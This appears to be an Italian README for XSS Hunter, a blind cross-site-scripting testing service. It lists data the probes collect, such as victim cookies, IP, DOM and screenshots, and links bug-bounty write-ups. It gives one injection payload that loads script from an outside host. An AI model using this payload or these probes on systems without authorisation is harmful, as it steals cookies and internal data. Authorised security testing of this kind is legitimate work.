Configurazione

Consulta https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/ per informazioni su come configurare XSS Hunter sul tuo server.

Riepilogo delle Funzionalità

Dopo la registrazione creerai un dominio breve speciale come yoursubdomain.xss.ht che identifica le tue vulnerabilità XSS e ospita il tuo payload. Utilizzerai quindi questo sottodominio nei tuoi test XSS, usando tentativi di iniezione come "><script src=//yoursubdomain.xss.ht></script>. XSS Hunter servirà automaticamente i probe XSS e raccoglierà le informazioni risultanti quando si attivano.

Funzionalità

• Attivazioni di payload XSS gestite: Gestisci tutti i tuoi payload XSS nel pannello di controllo del tuo account XSS Hunter.
• Potenti Probe XSS: Le seguenti informazioni vengono raccolte ogni volta che un probe si attiva su una pagina vulnerabile:
  • L'URI della pagina vulnerabile
  • Origine dell'esecuzione
  • L'indirizzo IP della vittima
  • Il Referer della pagina
  • Lo User Agent della vittima
  • Tutti i cookie non HTTP-Only
  • Il DOM HTML completo della pagina
  • Screenshot completo della pagina interessata
  • Richiesta HTTP responsabile (se viene utilizzato uno strumento compatibile con XSS Hunter)
• Screenshot Completi della Pagina: I probe di XSS Hunter utilizzano l'API canvas HTML5 per generare uno screenshot completo della pagina vulnerabile su cui un payload XSS si è attivato. Con questa funzionalità puoi dare un'occhiata a pannelli amministrativi interni, help desk, sistemi di logging e altre app web interne. Ciò consente di creare report più potenti che mostrano l'impatto completo della vulnerabilità al tuo cliente o al programma bug bounty.
• Generazione di Report in Markup: Ogni report di payload XSS include un report markdown pre-generato. Questi report generati sono anche compatibili con altre piattaforme che supportano markdown, come Phabricator, per una facile segnalazione di bug sui sistemi di ticketing aziendali.
• Report Via Email di Attivazione Payload XSS: Le attivazioni di payload XSS inviano anche report email dettagliati che possono essere facilmente inoltrati ai contatti di sicurezza appropriati per una facile segnalazione di bug critici.
• Generazione Automatica di Payload: XSS Hunter genera automaticamente payload XSS da utilizzare nei tuoi test di sicurezza delle applicazioni web.
• Iniezioni Correlate: Forse la funzionalità più potente di XSS Hunter è la capacità di correlare i tentativi di iniezione con le attivazioni di payload XSS. Utilizzando uno strumento di test compatibile con XSS Hunter puoi sapere immediatamente cosa ha causato l'attivazione di un payload specifico (anche settimane dopo il tentativo di iniezione!).
• Opzione Crittografia PGP per Email di Payload: Extra paranoico? È disponibile la crittografia PGP lato client che crittograferà tutti i dati di iniezione nel browser della vittima prima di inviarli al servizio XSS Hunter.
• Acquisizione di Pagine: All'attivazione del tuo payload XSS, puoi specificare un elenco di percorsi relativi che il payload deve recuperare e memorizzare automaticamente. Ciò è utile per trovare altre vulnerabilità, come policy crossdomain.xml errate su sistemi interni a cui normalmente non si potrebbe accedere.
• Caricamento Payload Secondario: Hai un payload secondario che vuoi caricare dopo che XSS Hunter ha fatto il suo dovere? XSS Hunter ti offre la possibilità di specificare un payload JavaScript secondario da eseguire dopo aver completato la sua raccolta.
• Applicazione Web iOS: È anche possibile visualizzare le attivazioni dei tuoi payload XSS tramite un'app web iOS. Basta navigare al percorso /app e salvare la pagina come applicazione web sul desktop del tuo iPhone.

Exploit Notevoli

• Blind XSS nello strumento di assistenza interno di Tesla: https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/
• Blind XSS nell'integrazione Salesforce di Spotify: https://mhmdiaa.github.io/blind-xss-in-spotify/
• Blind XSS nel pannello di supporto di GoDaddy: https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/

Vuoi Contribuire?

Tutto il codice è stato creato da me e (per questo motivo) probabilmente non è una best practice e sicuramente necessita di ottimizzazione/pulizia. Ogni pull request è gradita!